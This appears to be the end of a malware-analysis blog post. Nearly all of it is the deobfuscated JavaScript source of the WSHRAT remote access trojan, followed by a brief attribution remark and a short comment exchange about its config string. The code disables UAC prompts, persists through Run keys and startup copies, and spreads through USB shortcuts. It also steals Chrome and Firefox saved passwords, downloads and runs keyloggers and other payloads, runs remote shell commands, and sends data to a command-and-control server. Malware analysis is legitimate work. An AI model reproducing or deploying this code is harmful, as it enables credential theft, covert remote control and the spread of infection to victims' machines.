oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","ConsentPromptBehaviorAdmin", 0); oReg = null; } } function uninstall(){ try{ var filename; var foldername; try{ shellobj.RegDelete("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]); shellobj.RegDelete("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0]); }catch(ei){} try{ filesystemobj.deleteFile(startup + installname ,true); filesystemobj.deleteFile(WScript.scriptFullName ,true); }catch(eej){} for(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){ var drive = dri.item(); if (drive.isready == true){ if (drive.freespace > 0 ){ if (drive.drivetype == 1 ){ for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").files); !fi.atEnd(); fi.moveNext()){ var file = fi.item(); try{ if (file.name.indexOf(".")){ if ((file.name.split(".")[file.name.split(".").length - 1]).toLowerCase() != "lnk"){ file.attributes = 0; if (file.name.toUpperCase() != installname.toUpperCase()){ filename = file.name.split("."); filesystemobj.deleteFile(drive.path + "\\" + filename[0] + ".lnk" ); }else{ filesystemobj.deleteFile(drive.path + "\\" + file.name); } }else{ filesystemobj.deleteFile (file.path); } } }catch(ex){} } for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + "\\").subFolders); !fi.atEnd(); fi.moveNext()){ var folder = fi.item(); folder.attributes = 0; } } } } } }catch(err){} WScript.quit(); } function post (cmd ,param){ try{ httpobj.open("post","http://" + host + ":" + port +"/" + cmd, false); httpobj.setRequestHeader("user-agent:",information()); httpobj.send(param); return httpobj.responseText; }catch(err){ return ""; } } function information(){ try{ if (inf == ""){ inf = hwid() + spliter; inf = inf + shellobj.ExpandEnvironmentStrings("%computername%") + spliter ; inf = inf + shellobj.ExpandEnvironmentStrings("%username%") + spliter; var root = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2"); var os = root.ExecQuery ("select * from win32_operatingsystem"); for(var fi = new Enumerator(os); !fi.atEnd(); fi.moveNext()){ var osinfo = fi.item(); inf = inf + osinfo.caption + spliter; break; } inf = inf + "plus" + spliter; inf = inf + security() + spliter; inf = inf + usbspreading; inf = "WSHRAT" + spliter + inf + spliter + "JavaScript-v1.6" ; return inf; }else{ return inf; } }catch(err){ return ""; } } function upstart (){ try{ try{ shellobj.RegWrite("HKEY_CURRENT_USER\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0], "wscript.exe //B \"" + installdir + installname + "\"" , "REG_SZ"); shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\microsoft\\windows\\currentversion\\run\\" + installname.split(".")[0], "wscript.exe //B \"" + installdir + installname + "\"" , "REG_SZ"); }catch(ei){} filesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true); filesystemobj.copyFile(WScript.scriptFullName, startup + installname, true); }catch(err){} } function hwid(){ try{ var root = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2"); var disks = root.ExecQuery ("select * from win32_logicaldisk"); for(var fi = new Enumerator(disks); !fi.atEnd(); fi.moveNext()){ var disk = fi.item(); if (disk.volumeSerialNumber != ""){ return disk.volumeSerialNumber; break; } } }catch(err){ return ""; } } function security(){ try{ var objwmiservice = GetObject("winmgmts:{impersonationlevel=impersonate}!\\\\.\\root\\cimv2"); var colitems = objwmiservice.ExecQuery("select * from win32_operatingsystem",null,48); var versionstr, osversion; for(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){ var objitem = fi.item(); versionstr = objitem.version.toString().split("."); } //versionstr = colitems.version.split("."); osversion = versionstr[0] + "."; for (var x = 1; x < versionstr.length; x++){ osversion = osversion + versionstr[0]; } osversion = eval(osversion); var sc; if (osversion > 6){ sc = "securitycenter2"; }else{ sc = "securitycenter";} var objsecuritycenter = GetObject("winmgmts:\\\\localhost\\root\\" + sc); var colantivirus = objsecuritycenter.ExecQuery("select * from antivirusproduct", "wql", 0); var secu = ""; for(var fi = new Enumerator(colantivirus); !fi.atEnd(); fi.moveNext()){ var objantivirus = fi.item(); secu = secu + objantivirus.displayName + " ."; } if(secu == ""){secu = "nan-av";} return secu; }catch(err){} } function getDate(){ var s = ""; var d = new Date(); s += d.getDate() + "/"; s += (d.getMonth() + 1) + "/"; s += d.getYear(); return s; } function instance(){ try{ try{ usbspreading = shellobj.RegRead("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\"); }catch(eee){} if(usbspreading == ""){ if (WScript.scriptFullName.substr(1).toLowerCase() == ":\\" + installname.toLowerCase()){ usbspreading = "true - " + getDate(); try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\", usbspreading, "REG_SZ");}catch(eeeee){} }else{ usbspreading = "false - " + getDate(); try{shellobj.RegWrite("HKEY_LOCAL_MACHINE\\software\\" + installname.split(".")[0] + "\\", usbspreading, "REG_SZ");}catch(eeeee){} } } upstart(); var scriptfullnameshort = filesystemobj.getFile(WScript.scriptFullName); var installfullnameshort = filesystemobj.getFile(installdir + installname); if (scriptfullnameshort.shortPath.toLowerCase() != installfullnameshort.shortPath.toLowerCase()){ shellobj.run("wscript.exe //B \"" + installdir + installname + "\""); WScript.quit(); } oneonce = filesystemobj.openTextFile(installdir + installname ,8, false); }catch(err){ WScript.quit(); } } function decode_base64(base64_string){ var yhm_pepe = WScript.CreateObject("ADODB.Stream"); var spike = (WScript.CreateObject("Microsoft.XMLDOM")).createElement("tmp"); spike.dataType = "bin.base64"; spike.text = base64_string; yhm_pepe.Type = 1; yhm_pepe.Open(); yhm_pepe.Write(spike.nodeTypedValue); yhm_pepe.Position = 0; yhm_pepe.Type = 2; yhm_pepe.CharSet = "us-ascii"; return yhm_pepe.ReadText(); } function decode_pass(retcmd){ try{ var content, nss, command; if(retcmd == "mozilla"){ command = "give-me-ffpv"; }else if(retcmd == "chrome"){ command = "give-me-chpv"; } var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp"); objhttpdownload.open("post", "http://" + host + ":" + port +"/" + command, false); objhttpdownload.setRequestHeader("user-agent:", information()); objhttpdownload.send(""); if(filesystemobj.fileExists(installdir + "rundll")){ filesystemobj.deleteFile(installdir + "rundll"); } if (objhttpdownload.status == 200){ try{ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.Position = 0; objstreamdownload.Type = 2; objstreamdownload.CharSet = "us-ascii"; content = objstreamdownload.ReadText(); nss = sdkpath + "\\nss"; content = content.replace(new RegExp("%nss%", "g"), nss); //for firefox content = content.replace(new RegExp("%path%", "g"), installdir + "Login Data"); //for chrome var sw = filesystemobj.openTextFile(installdir + "rundll", 2, true); sw.write(content); sw.close(); sw = null; objstreamdownload.close(); objstreamdownload = null; }catch(ez){} } shellobj.run("%comspec% /c cd \"" + sdkpath + "\" && " + gsp(sdkfile) + " " + gsp(installdir + "rundll") + " > \"" + installdir + "wshout\"", 0, true); WScript.sleep(2000); var sr = filesystemobj.openTextFile(installdir + "wshout"); content = sr.readall(); sr.close(); sr = null; filesystemobj.deleteFile(installdir + "rundll"); filesystemobj.deleteFile(installdir + "wshout"); post(retcmd, content); }catch(err){ } } function chr(code){ return String.fromCharCode(code); } function gsp(path){ return filesystemobj.getFile(path).shortPath; } function passgrabber (fileurl, filename, retcmd){ try{ var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); var content, profile, folder; if (retcmd == "ie"){ content = decode_base64(fileurl); eval(content); return; }else if(retcmd == "chrome"){ folder = shellobj.ExpandEnvironmentStrings("%temp%"); folder = folder.substr(0, folder.toLowerCase().indexOf("temp")) + "Google\\Chrome\\User Data\\Default\\Login Data"; if (objfsodownload.fileExists(folder) ){ objfsodownload.copyFile(folder, installdir + "Login Data", true); if (objfsodownload.fileExists(sdkfile)){ //'proceed decoding decode_pass(retcmd); objfsodownload.deleteFile(installdir + "Login Data"); }else{ //'request for sdk post("show-toast", "WSH Sdk for password recovery not found, You can install this SDK from the password recovery menu"); } }else{ post(retcmd, "No Password Found"); } }else if(retcmd == "mozilla"){ folder = shellobj.ExpandEnvironmentStrings("%appdata%") + "\\Mozilla\\Firefox\\"; if (objfsodownload.fileExists (folder + "profiles.ini")){ content = filesystemobj.openTextFile(folder + "profiles.ini").readall(); if (content.indexOf("Path=") > 0) { content = content.substr(content.indexOf("Path=") + 5); content = content.substr(0, content.indexOf("\r\n")); profile = (folder + content).replace(new RegExp("/", "g"), "\\"); folder = profile + "\logins.json"; if (objfsodownload.fileExists(sdkfile)){ //'proceed decoding decode_pass(retcmd); }else{ //'request for sdk post("show-toast", "WSH Sdk for password recovery not found, You can install this SDK from the password recovery menu"); } }else{ post(retcmd, "No Password Found"); } }else{ post(retcmd, "No Password Found"); } }else{ passgrabber2(fileurl, filename, retcmd); } }catch(err){} } function UnZip(zipfile, ExtractTo){ if(filesystemobj.GetExtensionName(zipfile) == "zip"){ if(!filesystemobj.FolderExists(ExtractTo)){ filesystemobj.CreateFolder(ExtractTo); } var objShell = WScript.CreateObject("Shell.Application"); var destination = objShell.NameSpace(ExtractTo); var zip_content = objShell.NameSpace(zipfile).Items(); for(i = 0; i < zip_content.Count; i++){ if(filesystemobj.FileExists(filesystemobj.Buildpath(ExtractTo,zip_content.item(i).name)+"."+filesystemobj.getExtensionName(zip_content.item(i).path))){ filesystemobj.DeleteFile(filesystemobj.Buildpath(ExtractTo,zip_content.item(i).name)+"."+filesystemobj.getExtensionName(zip_content.item(i).path)); } destination.copyHere(zip_content.item(i), 20); } } } function passgrabber2(fileurl, filename, retcmd){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); try{filesystemobj.deleteFile(installdir + filename + "data");}catch(ey){} var config_file = installdir + filename.substr(0, filename.lastIndexOf(".")) + ".cfg"; var cfg = "[General]\nShowGridLines=0\nSaveFilterIndex=0\nShowInfoTip=1\nUseProfileFolder=0\nProfileFolder=\nMarkOddEvenRows=0\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\nSort=0"; //write config var writer = filesystemobj.openTextFile(config_file, 2, true); writer.writeLine(cfg); writer.close(); writer = null; var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp"); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; } if(objfsodownload.fileExists(strsaveto)){ var runner = WScript.CreateObject("Shell.Application"); var saver = objfsodownload.getFile(strsaveto).shortPath //try 10 times before giveup for(var i=0; i<5; i++){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); WScript.sleep(1000); runner.shellExecute(saver, " /stext " + saver + "data"); WScript.sleep(2000); if(objfsodownload.fileExists(saver + "data")){ var sr = filesystemobj.openTextFile(saver + "data"); var buffer = sr.readall(); sr.close(); sr = null; var outpath = installdir + "wshlogs\\recovered_password_email.log"; var folder = objfsodownload.GetParentFolderName(outpath); if (!objfsodownload.FolderExists(folder)) { shellobj.run("%comspec% /c mkdir \"" + folder + "\"", 0, true); } writer = filesystemobj.openTextFile(outpath, 2, true); writer.write(buffer); writer.close(); writer = null; upload(saver + "data", retcmd); break; } } deletefaf(strsaveto); } } function keyloggerstarter (fileurl, filename, filearg, is_offline){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp" ); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ try{ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; }catch(err){ updatestatus("Access+Denied"); } } if(objfsodownload.fileExists(strsaveto)){ shellobj.run("\"" + strsaveto + "\" " + host + " " + port + " \"" + filearg + "\" " + is_offline); } } function servicestarter (fileurl, filename, filearg){ shellobj.run("%comspec% /c taskkill /F /IM " + filename, 0, true); var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp" ); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control:", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ try{ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; }catch(err){ updatestatus("Access+Denied"); } } if(objfsodownload.fileExists(strsaveto)){ shellobj.run("\"" + strsaveto + "\" " + host + " " + port + " \"" + filearg + "\""); } } function sitedownloader (fileurl,filename){ var strlink = fileurl; var strsaveto = installdir + filename; var objhttpdownload = WScript.CreateObject("msxml2.serverxmlhttp" ); objhttpdownload.open("get", strlink, false); objhttpdownload.setRequestHeader("cache-control", "max-age=0"); objhttpdownload.send(); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; } if(objfsodownload.fileExists(strsaveto)){ shellobj.run(objfsodownload.getFile(strsaveto).shortPath); updatestatus("Executed+File"); } } function download (fileurl,filedir){ if(filedir == ""){ filedir = installdir; } strsaveto = filedir + fileurl.substr(fileurl.lastIndexOf("\\") + 1); var objhttpdownload = WScript.CreateObject("msxml2.xmlhttp"); objhttpdownload.open("post","http://" + host + ":" + port +"/" + "send-to-me" + spliter + fileurl, false); objhttpdownload.setRequestHeader("user-agent:", information()); objhttpdownload.send(""); var objfsodownload = WScript.CreateObject("scripting.filesystemobject"); if(objfsodownload.fileExists(strsaveto)){ objfsodownload.deleteFile(strsaveto); } if (objhttpdownload.status == 200){ var objstreamdownload = WScript.CreateObject("adodb.stream"); objstreamdownload.Type = 1; objstreamdownload.Open(); objstreamdownload.Write(objhttpdownload.responseBody); objstreamdownload.SaveToFile(strsaveto); objstreamdownload.close(); objstreamdownload = null; } if(objfsodownload.fileExists(strsaveto)){ shellobj.run(objfsodownload.getFile(strsaveto).shortPath); updatestatus("Executed+File"); } } function updatestatus(status_msg){ try{ var objsoc = WScript.CreateObject("msxml2.xmlhttp"); objsoc.open("post","http://" + host + ":" + port + "/" + "update-status" + spliter + status_msg, false); objsoc.setRequestHeader("user-agent:", information()); objsoc.send(""); }catch(err){} } function upload (fileurl, retcmd){ try{ var httpobj,objstreamuploade,buffer; var objstreamuploade = WScript.CreateObject("adodb.stream"); objstreamuploade.Type = 1; objstreamuploade.Open(); objstreamuploade.loadFromFile(fileurl); buffer = objstreamuploade.Read(); objstreamuploade.close(); objstreamdownload = null; var httpobj = WScript.CreateObject("msxml2.xmlhttp"); httpobj.open("post","http://" + host + ":" + port +"/" + retcmd, false); httpobj.setRequestHeader("user-agent:", information()); httpobj.send(buffer); }catch(er){ updatestatus("Upload+Failed"); } } function deletefaf (url){ try{ filesystemobj.deleteFile(url); filesystemobj.deleteFolder(url); }catch(err){} } function cmdshell (cmd){ var httpobj,oexec,readallfromany; var strsaveto = installdir + "out.txt"; shellobj.run("%comspec% /c " + cmd + " > \"" + strsaveto + "\"", 0, true); readallfromany = filesystemobj.openTextFile(strsaveto).readAll(); try{ filesystemobj.deleteFile(strsaveto); }catch(ee){} return readallfromany; } function enumprocess(){ var ep = ""; try{ var objwmiservice = GetObject("winmgmts:\\\\.\\root\\cimv2"); var colitems = objwmiservice.ExecQuery("select * from win32_process",null,48); for(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){ var objitem = fi.item(); ep = ep + objitem.name + "^"; ep = ep + objitem.processId + "^"; ep = ep + objitem.executablePath + spliter; } }catch(er){} return ep; } function exitprocess (pid){ try{ shellobj.run("taskkill /F /T /PID " + pid,0,true); }catch(err){} } function getParentDirectory(path){ var fo = filesystemobj.getFile(path); return filesystemobj.getParentFolderName(fo); } function enumfaf (enumdir){ var re = ""; try{ for(var fi = new Enumerator(filesystemobj.getFolder (enumdir).subfolders); !fi.atEnd(); fi.moveNext()){ var folder = fi.item(); re = re + folder.name + "^^d^" + folder.attributes + spliter; } for(var fi = new Enumerator(filesystemobj.getFolder (enumdir).files); !fi.atEnd(); fi.moveNext()){ var file = fi.item(); re = re + file.name + "^" + file.size + "^" + file.attributes + spliter; } }catch(err){} return re; }
From this, we can see what appears to be a config file for what is called “WshRAT” which seems to be closely related to the Houdini malware (difference being Javascript versus VBScript). For more information about this RAT, please see this link.
If I have missed anything or have explained something incorrectly, please let me know.
var cfg = “[General]\nShowGridLines=0\nSaveFilterIndex=0\nShowInfoTip=1\nUseProfileFolder=0\nProfileFolder=\nMarkOddEvenRows=0\nWinPos=2C 00 00 00 00 00 00 00 01 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00 00 00 00 00 80 02 00 00 E0 01 00 00\nColumns=FA 00 00 00 FA 00 01 00 6E 00 02 00 6E 00 03 00 78 00 04 00 78 00 05 00 78 00 06 00 64 00 07 00 FA 00 08 00\nSort=0”;
Do you know what is this meaning?
Not sure tbh with you. I will have to look that one up. If you come across let me know please.